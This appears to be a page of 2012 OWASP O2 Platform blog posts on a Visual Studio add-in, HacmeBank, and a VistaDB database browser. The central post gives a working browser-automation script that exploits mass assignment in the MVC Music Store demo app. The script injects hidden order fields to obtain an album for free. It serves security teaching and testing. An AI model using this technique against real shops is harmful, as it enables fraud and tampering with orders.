OWASP O2 Platform Blog

Installing O2′s Visual Studio Add-in, Script environment in Visual Studio IDE

Here is a video on how can we install the OWASP O2 add-in on top of VisuaL Studio , the video can be found at:

http://diniscruz.blogspot.co.uk/2012/05/video-installing-o2s-visualstudio-2010.html

By the way, the Visual Studio add-in is located in your local copy of OWASP O2 Platform, in the O2.Platform.Projects folder there should be a  Visual Studio Project named O2.VisualStudio.AddIn . The .AddIn file can be found in the binaries folder.

Visual Studio Addin

Visual Studio Addin

Once you have installed  the Add-in, you will be able to use this powerful tool on top of Visual Studio IDE.

May 25, 2012 Posted by | .NET, Uncategorized, VisualStudio | , , | Leave a Comment

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added  of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.

Background

The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:

ASP.NET MVC MUSIC STORE

ASP.NET MVC MUSIC STORE

O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");
ie.field("UserName").value(username);
ie.field("Email").value(email);
ie.field("Password").value(password);
ie.field("ConfirmPassword").value(password);
ie.button("Register").click();
};

Action loginAsTestUser =
()=>{
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);

};

Action selectTestProductAndCheckout =
()=>{
ie.link("Rock").scrollIntoView().flash().click();
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();

};

Action populateSubmitOrder =
()=>{
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code

ie.field("Address").value(Address);
ie.field("City").value(City);
ie.field("Country").value(Country);
ie.field("Email").value(Email);
ie.field("FirstName").value(FirstName);
ie.field("LastName").value(LastName);
ie.field("Phone").value(Phone);
ie.field("PostalCode").value(PostalCode);
ie.field("PromoCode").value(PromoCode);
ie.field("State").value(State);
};

Action submitOrder =
()=>{
ie.button("Submit Order").click();
};

Action createOrderUsingTestUser =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();
submitOrder();
};

Action injectField =
(fieldName, value)=>{
ie.field("FirstName")
.injectHtml_afterEnd("
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));
};

Action runExploit_1 =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();

//the following simulates adding this to the POST request following URI Convention:
//OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5&
injectField("OrderDetails[0].OrderDetailId","1");
injectField("OrderDetails[0].OrderId","1");
injectField("OrderDetails[0].AlbumId","1");
injectField("OrderDetails[0].Quantity","1");
injectField("OrderDetails[0].UnitPrice","0");
submitOrder();
ie.open(site + "/OrderDetails");
};

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//O2Tag_DontAddExtraO2Files;

If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :) .

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?


If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
[DataType(DataType.EmailAddress)]
public string Email { get; set; }
[ScaffoldColumn(false)]
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 Posted by | .NET, IE Automation, Vulnerabilities, WatiN | , , , | 2 Comments

Using O2 Platform and HacmeBank

Michael from the OWASP Costa Rica chapter wrote a great article about O2 and his first use of using it to automate HacmeBank’s login sequence: Starting with OWASP O2 Platform : a short step in a long journey

In reply I wrote Using O2 with HacmeBank which gives an overview of what you can do today with O2+HacmeBank  (and ideas for where to go next)

May 6, 2012 Posted by | .NET, HacmeBank | Leave a Comment

VistaDB API and GUI (as used by Checkmarx SAST engine)

O2 now supports the VistaDB, which is a pure .NET embeded database used by applications like Checkmarx (who use it to support their SAST Web Application).

After using it a bit, I have to say that VistaDB seams like a really nice solution, since it is really a xcopy-based-relational-database with full SQL support.

To add support to VistaDB in O2, all that was needed was to grab the API_SqlServer.cs script and changed the Sql classes to their equivalent VistaDB classes (for example SqlConnection became VistaDBConnection).

Since VistaDB is not an open source project, you will need to have access to their eval download, or to an application that uses it (note how  used the VistaDB.NET20.dll from the Checkmarx install folder)

Util – VistaDB Browser.h2

//var topPanel = panel.clear().add_Panel();
var topPanel = O2Gui.open<Panel>("Sql Info",900,500);
topPanel.insert_Below(100).add_LogViewer();
var vistaDb = new API_VistaDB();
var show= false;
show = true;
TabControl tabControl = null;
Action loadDataFromCurrentConnection = 
    ()=>{
            tabControl.remove_Tab("Database details viewer");
            tabControl.remove_Tab("Table's Schema");
            tabControl.remove_Tab("Table's Data");
            tabControl.remove_Tab("Stored Procedures");
            vistaDb.add_Viewer_DataBases(tabControl.add_Tab("Database details viewer"));
            vistaDb.add_Viewer_Tables(tabControl.add_Tab("Table's Schema"));
            vistaDb.add_Viewer_TablesData(tabControl.add_Tab("Table's Data"));

        };



if(show)
{
    tabControl = topPanel.add_TabControl();    
    vistaDb.add_ConnectionStringTester(tabControl.add_Tab("Test/Set SqlConnection string"), loadDataFromCurrentConnection);
    vistaDb.add_GUI_SqlCommandExecute(tabControl.add_Tab("Execute SQL Commands"));                        
}



//O2Ref:System.Data.dll
//O2File:API_VistaDB.cs
//O2Tag_DontAddExtraO2Files

 

API_VistaDB.cs

using System;
using System.Data;
using System.Xml.Serialization;
using System.Linq;
using System.Drawing;
using System.Windows.Forms;
using System.Collections.Generic;
using O2.Interfaces.O2Core;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.ExtensionMethods;
using O2.External.SharpDevelop.ExtensionMethods;
using O2.Views.ASCX.ExtensionMethods;
using O2.XRules.Database.Utils;
using VistaDB.Provider;
//O2Ref:C:\Program Files\Checkmarx\Checkmarx Engine Server\VistaDB.NET20.dll</pre>
namespace O2.XRules.Database.APIs
{
    public class API_VistaDB_Test
    {
        public void launchTestGui()
        {
            "Util - VistaDB Browser.h2".local().executeH2Script();
        }
    }

    public class API_VistaDB
    {  
        public string ConnectionString { get;set; }
        public string LastError { get; set; }
       
        public API_VistaDB()
        {
            ConnectionString = @"data source='C:\Program Files\Checkmarx\Checkmarx Application Server\CxDB.vdb3'";     //default to this one           
        }       
       
        public API_VistaDB(string connectionString)
        {
            ConnectionString = connectionString;
        }
    }
   
    public class Database
    {
        public API_VistaDB VistaDB { get; set; }
        public string Name { get; set; }       
        public List<Table> Tables { get; set; }
        public List<StoredProcedure> StoredProcedures { get; set; }
       
        public Database(string name)
        {
            Name = name.trim();
            Tables = new List<Table>();
            StoredProcedures = new List<StoredProcedure>();
        }
       
        public Database(API_VistaDB vistaDB, string name) : this (name)
        {
            VistaDB = vistaDB;
       
        }
    }
   
    public class Table
    {
        [XmlIgnore] public API_VistaDB VistaDB { get; set; }               
//        public string Catalog {get;set;}
//        public string Schema {get;set;}
        public string Name {get;set;}
//        public string Type {get;set;}
        public List<Table_Column> Columns {get;set;}
       
        public DataTable TableData { get; set; }
       
        public Table()
        {
            Columns = new List<Table_Column>();
        }
       
        public override string ToString()
        {
            /*return (Schema.valid())
                        ? "{0}.{1}".format(Schema, Name)
                        : Name;*/
            return Name;           
        }
    }
   
    public class Table_Column
    {
        //name, typeId, objectId,options , scriptValue
        public string Name { get; set; }       
        public string TypeId { get; set; }       
        public string ObjectId { get; set; }       
        public string Options { get; set; }       
        public string ScriptValue     { get; set; }       
       
        public override string ToString()
        {
            //return "{0} ({1})".format(Name, DataType);
            return "{0} ({1})".format(Name);
        }
    }
   
    public class StoredProcedure
    {
        public string Schema {get;set;}
        public string Name {get;set;}
        public string Value {get;set;}
       
        public StoredProcedure(string schema, string name, string value)
        {
            Schema = schema;
            Name = name;
            Value = value;
        }
       
        public StoredProcedure(string name, string value) : this("",name, value)
        {
           
        }
       
        public override string ToString()
        {
            return (Schema.valid())
                        ? "{0}.{1}".format(Schema, Name)
                        : Name;
        }
    }
   
    //add these queries should be done using Linq
    public static class API_VistaDB_Helps
    {
        public static Database database(this API_VistaDB vistaDB, string name)
        {
            return new Database(vistaDB, name);
        }
    }
    public static class API_VistaDB_getData
    {
        public static List<string> database_Names(this API_VistaDB vistaDB)
        {
            var sqlQuery = "select * from [database schema] where typeid = 1";
            return (from DataRow row in vistaDB.executeReader(sqlQuery).Rows
                    select row["name"].str()).toList();
        }
       
        public static List<string> column_Names(this Table table)
        {
            return (from column in table.columns()
                       select column.Name).toList();
        }
       
        public static List<Table> tables(this API_VistaDB vistaDb)
        {           
            return vistaDb.database("").tables();
        }
       
        public static List<Table> tables(this Database database)
        {           
            if (database.Tables.size() ==0)
                database.map_Tables();
            return database.Tables;
        }
       
        public static Table table(this API_VistaDB vistaDb, string name)
        {
            return vistaDb.database("").table(name);
        }
       
        public static Table table(this Database database, string name)
        {           
            return (from table in database.tables()
                    where table.Name.trim() == name
                    select table).first();
        }
       
       
        public static List<Table_Column> columns(this Table table)
        {
            return table.Columns;
        }
    }
   
    public static class API_VistaDB_PopulateData
    {
        public static Database map_StoredProcedures(this Database database)
        {       
            var sqlQuery = "select Specific_Schema, Specific_Name, Routine_Definition  from {0}.Information_Schema.Routines".format(database.Name);
            var storedProceduresData = database.VistaDB.executeReader(sqlQuery);           
            foreach(DataRow row in storedProceduresData.Rows)
                database.StoredProcedures.Add(new StoredProcedure(row.ItemArray[0].str(),row.ItemArray[1].str(),row.ItemArray[2].str()));
            return database;
        }   
       
        public static Database map_Tables(this API_VistaDB vistaDB)
        {
            return vistaDB.database("").map_Tables();
        }
       
        public static Database map_Tables(this Database database)
        {       
            var sqlQuery = "select * from [database schema] where typeid = 1".format();
            var tables = database.VistaDB.executeReader(sqlQuery);           
            foreach(DataRow row in tables.Rows)
                database.Tables.Add(new Table(){
                                                    VistaDB = database.VistaDB,
//                                                    Catalog = row.ItemArray[0].str(),
//                                                    Schema = row.ItemArray[1].str(),
                                                    Name = row["name"].str().trim()
//                                                    Type = row.ItemArray[3].str()
                                                    });
            return database;
        }   
       
        public static Database map_Table_Columns(this Database database)
        {       
            foreach(var table in database.tables())
            {           
                //var sqlQuery = "select Column_Name, Column_Default, Is_Nullable, Data_Type, Character_Maximum_Length from {0}.Information_Schema.Columns where table_Schema='{1}' and table_name='{2}'"
                //                    .format(table.Catalog, table.Schema,table.Name);
                               
                var objectId = database.VistaDB.executeScalar("select objectId from [database schema] where typeid = 1 and name ='{0}' ".format(table.Name));
                var sqlQuery = "select name, typeId, objectId,options , scriptValue from [database schema] where foreignReference = '{0}' ".format(objectId);
                
                var columns = database.VistaDB.executeReader(sqlQuery);           
               
                foreach(DataRow row in columns.Rows)
                    table.Columns.Add(new Table_Column(){
                                                        Name =  row.ItemArray[0].str().trim(),
                                                        TypeId = row.ItemArray[1].str().trim(),
                                                        ObjectId = row.ItemArray[2].str().trim(),
                                                        Options = row.ItemArray[3].str().trim(),
                                                        ScriptValue = row.ItemArray[4].str().trim()
                                                        });
            }
            return database;
        }
       
        public static API_VistaDB map_Table_Data(this API_VistaDB vistaDB, Table table)
        {
//            var sqlQuery = "select * from [{0}].[{1}].[{2}]".format(table.Catalog,table.Schema, table.Name);               
            var sqlQuery = "select * from {0}".format(table.Name);                           
            table.TableData = vistaDB.executeReader(sqlQuery);
            return vistaDB;
        }
       
        public static Database map_Table_Data(this Database database, Table table)
        {
            database.VistaDB.map_Table_Data(table);
            return database;
        }
        public static Database map_Table_Data(this Database database)
        {
            "Mapping table data".info();
            var timer = new O2Timer("Mapped tabled data").start();
            foreach(var table in database.tables())                   
                database.map_Table_Data(table);
            timer.stop();
            return database;               
        }
       
        public static DataTable dataTable(this Table table)
        {
            if (table.isNull())
                return null;
            table.VistaDB.map_Table_Data(table);
            return table.TableData;
        }       
       
        public static string xml(this Table table)
        {           
            var dataSet = new DataSet();
            dataSet.Tables.Add(table.dataTable());
            return dataSet.GetXml();
        }
    }
   
    public static class API_VistaDB_Queries
    {
        public static VistaDBConnection getOpenConnection(this API_VistaDB vistaDB)
        {                       
            "[API_VistaDB] Opening Connection".info();
            try
            {
                var sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);           
                sqlConnection.Open();
                return sqlConnection;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }           
            return null;
        }
       
        public static VistaDBConnection closeConnection(this API_VistaDB vistaDB, VistaDBConnection sqlConnection)
        {                       
            "[API_VistaDB] Closing Connection".info();
            try
            {               
                sqlConnection.Close();
                return sqlConnection;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }           
            return null;
        }
       
        public static API_VistaDB executeNonQuery(this API_VistaDB vistaDB, VistaDBConnection sqlConnection, string command)
        {           
            "[API_VistaDB] Executing Non Query: {0}".info(command);
            try
            {
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                sqlCommand.ExecuteNonQuery();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            return vistaDB;
        }
       
        public static API_VistaDB executeNonQuery(this API_VistaDB vistaDB, string command)
        {       
            "[API_VistaDB] Executing Non Query: {0}".info(command);
            VistaDBConnection sqlConnection = null;
            try
            {
                sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);           
                sqlConnection.Open();
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                sqlCommand.ExecuteNonQuery();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                if (sqlConnection.notNull())
                    sqlConnection.Close();
            }
            return vistaDB;
        }
       
        public static object executeScalar(this API_VistaDB vistaDB, string command)
        {   
            "[API_VistaDB] Executing Scalar: {0}".info(command);
            VistaDBConnection sqlConnection = null;
            try
            {
                sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);
                sqlConnection.Open();
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                return sqlCommand.ExecuteScalar();
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                sqlConnection.Close();
            }
            return null;
        }
       
        public static DataTable executeReader(this API_VistaDB vistaDB, string command)
        {
            var sqlConnection = new VistaDBConnection(vistaDB.ConnectionString);
            sqlConnection.Open();
            try
            {
                var sqlCommand = new VistaDBCommand();
                sqlCommand.Connection = sqlConnection;
                sqlCommand.CommandText = command;
                sqlCommand.CommandType = CommandType.Text;
                var reader =  sqlCommand.ExecuteReader();
                var dataTable = new DataTable();
                dataTable.Load(reader);
                return dataTable;
            }
            catch(Exception ex)
            {
                vistaDB.LastError = ex.Message;
                "[executeNonQuery] {0}".error(ex.Message);
                //ex.log();
            }
            finally
            {
                if (sqlConnection.notNull())
                    sqlConnection.Close();
            }
            return null;
        }
    }
       
    public static class API_VistaDB_GUI_Controls
    {
        public static T add_ConnectionStringTester<T>(this API_VistaDB vistaDB , T control, Action afterConnect)
            where T : Control
        {
            control.clear();
            var connectionString = control.add_GroupBox("Connection String").add_TextArea();
            var connectionStringSamples = connectionString.parent().insert_Left<Panel>(200).add_GroupBox("Sample Connection Strings")
                                                          .add_TreeView()
                                                          .afterSelect<string>((text)=> connectionString.set_Text(text));
            var connectPanel = connectionString.insert_Below<Panel>(200);
            var button = connectPanel.insert_Above<Panel>(25).add_Button("Connect").fill(); 
            var response = connectPanel.add_GroupBox("Response").add_TextArea();                       
           
            button.onClick(()=>{
                                    try
                                    {
                                        var text = connectionString.get_Text();
                                        vistaDB.ConnectionString = text;
                                        response.set_Text("Connecting using: {0}".format(text));
                                        var sqlConnection = new VistaDBConnection(text);
                                        sqlConnection.Open();
                                        response.set_Text("Connected ok");
                                        afterConnect();
                                    }
                                    catch(Exception ex)
                                    {
                                        vistaDB.LastError = ex.Message;
                                        response.set_Text("Error: {0}".format(ex.Message));
                                    }                       
                                   
                                });
           
            //connectionString.set_Text(@"Data Source=.\SQLExpress;Trusted_Connection=True");
            var sampleConnectionStrings = new List<string>();
            //from <a href="http://www.connectionstrings.com/sql-server-2005">http://www.connectionstrings.com/sql-server-2005</a>
            sampleConnectionStrings.add(@"data source='C:\Program Files\Checkmarx\Checkmarx Application Server\CxDB.vdb3'")
                                   .add(@"Data Source=.\SQLExpress;Trusted_Connection=True")
                                   .add(@"Data Source=myServerAddress;Initial Catalog=myDataBase;Integrated Security=SSPI")                                                  
                                   .add(@"Data Source=myServerAddress;Initial Catalog=myDataBase;User Id=myUsername;Password=myPassword;")
                                   .add(@"Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=myDataBase;User ID=myUsername;Password=myPassword;")
                                   .add(@"Server=.\SQLExpress;AttachDbFilename=c:\mydbfile.mdf;Database=dbname; Trusted_Connection=Yes;")
                                   .add(@"Server=.\SQLExpress;AttachDbFilename=|DataDirectory|mydbfile.mdf; Database=dbname;Trusted_Connection=Yes;")
                                   .add(@"Data Source=.\SQLExpress;Integrated Security=true; AttachDbFilename=|DataDirectory|\mydb.mdf;User Instance=true;");
                                  
            connectionStringSamples.add_Nodes(sampleConnectionStrings).selectFirst();             
           
            button.click();
            return control;
           
        }
               
       
        public static API_VistaDB add_Viewer_QueryResult<T>(this API_VistaDB vistaDB , T control, string sqlQuery)
            where T : Control
        {    
            control.clear();
            var dataTable = vistaDB.executeReader(sqlQuery);            
            var dataGridView = control.add_DataGridView();
            dataGridView.DataError+= (sender,e) => { // " dataGridView error: {0}".error(e.Context);
                                                   };
            dataGridView.invokeOnThread(()=> dataGridView.DataSource = dataTable );           
            return vistaDB;
        }
       
        public static API_VistaDB add_Viewer_DataBases<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            var sqlQuery = "select * from [database schema] where typeid = 1";
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_Tables_Raw<T>(this API_VistaDB vistaDB , T control, string databaseName)
            where T : Control
        {
            var objectId = vistaDB.executeScalar("select objectId from [database schema] where typeid = 1 and name ='{0}'".format(databaseName));
           
            var sqlQuery = "select * from [database schema] where typeid = 3 and foreignReference ='{0}'".format(objectId);
           
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_StoredProcedures_Raw<T>(this API_VistaDB vistaDB , T control, string databaseName)
            where T : Control
        {
       
            var sqlQuery = "select * from {0}.Information_Schema.Routines".format(databaseName);
            return vistaDB.add_Viewer_QueryResult(control, sqlQuery);
        }
       
        public static API_VistaDB add_Viewer_StoredProcedures<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            control.clear();
            Database currentDatabase = null;
            var value = control.add_TextArea();   
            var storedProcedure_Names = value.insert_Left<Panel>(200).add_TreeView().sort();
            var database_Names = storedProcedure_Names.insert_Above<Panel>(100).add_TreeView().sort();
           
            var filter = storedProcedure_Names.insert_Above(20)
                                              .add_TextBox("Filter:","")
                                                .onTextChange((text)=>{
                                                                            storedProcedure_Names.clear();
                                                                            var result = (from storedProcedure in currentDatabase.StoredProcedures
                                                                                          where storedProcedure.Name.regEx(text)
                                                                                          select storedProcedure);
                                                                            storedProcedure_Names.add_Nodes(result);
                                                                        });
           
            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    value.set_Text("");
                                    currentDatabase = new Database(vistaDB, database_Name);
                                    currentDatabase.map_StoredProcedures();                                   
                                    storedProcedure_Names.clear();                       
                                    storedProcedure_Names.add_Nodes(currentDatabase.StoredProcedures);
                                    storedProcedure_Names.selectFirst();
                                 });
           
            storedProcedure_Names.afterSelect<StoredProcedure>(
                (storedProcedure) => value.set_Text(storedProcedure.Value) );
           
            database_Names.add_Nodes(vistaDB.database_Names());
           
            database_Names.selectFirst();
            return vistaDB;
        }
       
       
        public static API_VistaDB add_Viewer_Tables<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {       
            control.clear();
            var value = control.add_TableList();   
            var tables_Names = value.insert_Left<Panel>(200).add_TreeView().sort();            
//            var database_Names = tables_Names.insert_Above<Panel>(100).add_TreeView().sort();
/*            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    tables_Names.backColor(Color.Salmon);
                                    O2Thread.mtaThread(
                                        ()=>{
                                                value.set_Text("");
                                                var database = new Database(vistaDB, database_Name);                                   
                                                database.map_Tables()
                                                        .map_Table_Columns();
                                                tables_Names.clear();                       
                                                tables_Names.add_Nodes(database.Tables);
                                                tables_Names.selectFirst();
                                                tables_Names.backColor(Color.White);
                                            });    
                                 });
*/           
            tables_Names.afterSelect<Table>(
                (table) => value.show(table.Columns) );
           
//            database_Names.add_Nodes(vistaDB.database_Names());
           
//            database_Names.selectFirst();

            var database = new Database(vistaDB, "");                                   
            database.map_Tables()
                    .map_Table_Columns();
            tables_Names.clear();                       
            tables_Names.add_Nodes(database.Tables);
            tables_Names.selectFirst();
            tables_Names.backColor(Color.White);

            return vistaDB;
        }
       
        public static API_VistaDB add_Viewer_TablesData<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {       
            control.clear();
            var dataGridView = control.add_DataGridView();
           
            dataGridView.DataError+= (sender,e) => {}; //" dataGridView error: {0}".error(e.Context);};
            var tables_Names = dataGridView.insert_Left<Panel>(200).add_TreeView().sort();            
            var database_Names = tables_Names.insert_Above<Panel>(100).add_TreeView().sort();
            var preloadAllData = false;
            tables_Names.insert_Below(20).add_CheckBox("Preload all data from database",0,0,(value)=>preloadAllData = value).autoSize();//.check();
            var rowData = dataGridView.insert_Below<Panel>(100).add_SourceCodeViewer();
            var rowDataField = rowData.insert_Left<Panel>(100).add_TreeView();
            var selectedField = "";
           
            rowDataField.afterSelect<DataGridViewCell>(
                (cell)=>{
                            selectedField = rowDataField.selected().get_Text();
                            var fieldContent = cell.Value.str().fixCRLF();
                            if (fieldContent.starts("<?xml"))
                            {   
                                "mapping xml".info();
                                fieldContent = fieldContent.xmlFormat();
                                rowData.set_Text(fieldContent,"a.xml");
                            }
                            else
                                rowData.set_Text(fieldContent);
                        });
           
            dataGridView.afterSelect(
                (row)=> {                                                                                   
                            rowDataField.clear();
                            //rowData.set_Text("");
                            foreach(DataGridViewCell cell in row.Cells)
                            {
                                var fieldName = dataGridView.Columns[cell.ColumnIndex].Name;
                                var node = rowDataField.add_Node(fieldName,cell);
                                if (fieldName == selectedField)
                                    node.selected();
                            }
                            if (rowDataField.selected().isNull())
                                rowDataField.selectFirst();                                                                                       
                        });
                       
            database_Names.afterSelect<string>(
                (database_Name)=>{
                                    tables_Names.backColor(Color.Salmon);
                                    O2Thread.mtaThread(
                                        ()=>{
                                                var database = new Database(vistaDB, database_Name);                                   
                                                database.map_Tables();
                                                if (preloadAllData)                                                                                           
                                                    database.map_Table_Data();                                               
                                                tables_Names.clear();                       
                                                tables_Names.add_Nodes(database.Tables);
                                                tables_Names.selectFirst();
                                                tables_Names.backColor(Color.White);
                                               
                                                database_Names.splitContainer().panel1Collapsed(true);
                                            });
                                 });
           
            Action<Table> loadTableData =
                (table)=>{
                            tables_Names.backColor(Color.Salmon);
                            O2Thread.mtaThread(
                                        ()=>{
                                                rowDataField.clear();
                                                rowData.set_Text("");   
                                                dataGridView.remove_Columns();                           
                                                if (table.TableData.isNull())                           
                                                    vistaDB.map_Table_Data(table);                               
                                                dataGridView.invokeOnThread(()=>dataGridView.DataSource= table.TableData);       
                                                tables_Names.backColor(Color.White);
                                            });
                         };
            tables_Names.afterSelect<Table>(
                (table)=>{
                            loadTableData(table);
                         });
           
            database_Names.add_Nodes(vistaDB.database_Names());
           
            database_Names.selectFirst(); 
                       
           
            tables_Names.add_ContextMenu().add_MenuItem("reload data",
                ()=>{
                        var selectedNode = tables_Names.selected();
                        if (selectedNode.notNull())
                        {
                            var table = (Table)tables_Names.selected().get_Tag();
                            table.TableData = null;
                            loadTableData(table);
                        }
                    });
            return vistaDB;
        }
       
        public static API_VistaDB add_GUI_SqlCommandExecute<T>(this API_VistaDB vistaDB , T control)
            where T : Control
        {
            Action<string> executeNonQuery=null;
            Action<string> executeReader =null;
            var resultsPanel = control.add_GroupBox("Result") ; 
            var sqlCommandToExecute = resultsPanel.insert_Above("Sql Command to execute").add_TextArea();
            var sampleQueries = sqlCommandToExecute.insert_Left(300, "Sample Queries")
                                                   .add_TreeView()
                                                   .afterSelect<string>((text)=>sqlCommandToExecute.set_Text(text));
 
            sqlCommandToExecute.insert_Right(200)
                               .add_Button("Execute Non Query")
                               .fill()
                               .onClick(()=>{
                                                 "Executing Non Query".info();                                    
                                                 executeNonQuery(sqlCommandToExecute.get_Text());
                                             })
                              .insert_Above()
                              .add_Button("Execute Reader")
                              .fill()
                              .onClick(()=> {
                                                 "Executing Reader".info();
                                                 executeReader(sqlCommandToExecute.get_Text());
                                             });;
           
            executeReader = (sqlQuery)=>{
                                            vistaDB.add_Viewer_QueryResult(resultsPanel, sqlQuery);
                                            "done".info();
                                        };   
                                       
            executeNonQuery = (sqlText)=> {           
                                                var    log = resultsPanel.control<TextBox>();
                                                if (log.isNull())
                                                    log = resultsPanel.clear().add_TextArea();
                                                if (sqlText.contains("GO".line()))
                                                {                                       
                                                    var sqlTexts = sqlText.line().split("GO".line());
                                                    log.append_Line("[{0}]Found a GO, so breaking it into {1} queries".format(DateTime.Now,sqlTexts.size()));                                         
                                                    var sqlConnection = vistaDB.getOpenConnection();
                                                    foreach(var text in sqlTexts)                                                                                   
                                                    {               
                                                        vistaDB.executeNonQuery(sqlConnection, text);                                                                               
                                                       
                                                        if (vistaDB.LastError.valid())
                                                        {
                                                            log.append_Line("SQL ERROR: {0}".lineBeforeAndAfter().format(vistaDB.LastError));
                                                            log.append_Line("ERROR: stoping execution since there was an error which executing the query: {0}".format(text).lineBeforeAndAfter());
                                                            break;
                                                        }           
                                                    }
                                                    vistaDB.closeConnection(sqlConnection);
                                                }
                                                else
                                                    {
                                                        log.append_Line("Executing as Non Query: {0}".format(sqlText));
                                                        vistaDB.LastError = "";
                                                        vistaDB.executeNonQuery(sqlText);
                                                        if (vistaDB.LastError.valid())
                                                            log.append_Line("SQL ERROR: {0}".lineBeforeAndAfter().format(vistaDB.LastError));
                                                    }
                                                "done".info();
                                           };           
               
            sampleQueries.add_Nodes(new string[] {
                                                    "select * from master..sysDatabases",
                                                    "select * from master.Information_Schema.Tables",
                                                    "select * from master.Information_Schema.Routines"
                                                });
            sampleQueries.selectFirst();
            return vistaDB;
        }
    }       
}


 

April 13, 2012 Posted by | .NET, CheckMarx | 1 Comment

